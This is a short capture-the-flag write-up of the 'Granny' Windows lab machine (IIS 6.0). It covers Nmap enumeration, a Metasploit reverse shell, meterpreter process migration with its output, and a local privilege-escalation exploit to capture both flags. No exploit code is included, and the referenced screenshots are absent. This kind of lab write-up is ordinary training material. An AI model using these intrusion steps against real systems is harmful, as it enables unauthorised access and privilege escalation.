Granny is an easy box windows box that was released back in April 2017.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.

As you can see we're dealing with IIS 6.0 which is an outdated version, with a ton of scripts for us to use, so let's fire up msfconsole :

and we get a reverse shell ! but we need to migrate to another process in order to escalate privileges : the process number 1824 looks interesting :
meterpreter > migrate 1824 [*] Migrating from 1504 to 1824... [*] Migration completed successfully. meterpreter > shell Process 2080 created. Channel 3 created.

C:\>d Documents And Settings cd Documents And Settings C:\Documents and Settings>cd Administrator cd Administrator Access is denied.
And as you can see, we still migrated to NT Authority, but we did not escalate our privileges enough.

We'll use a local exploit on our backgrounded session, to see if we can escalate privileges.

And that's it ! we have been able to root the box, getting both the user and the root flag in one go. :)
Here we can see the progress graph :
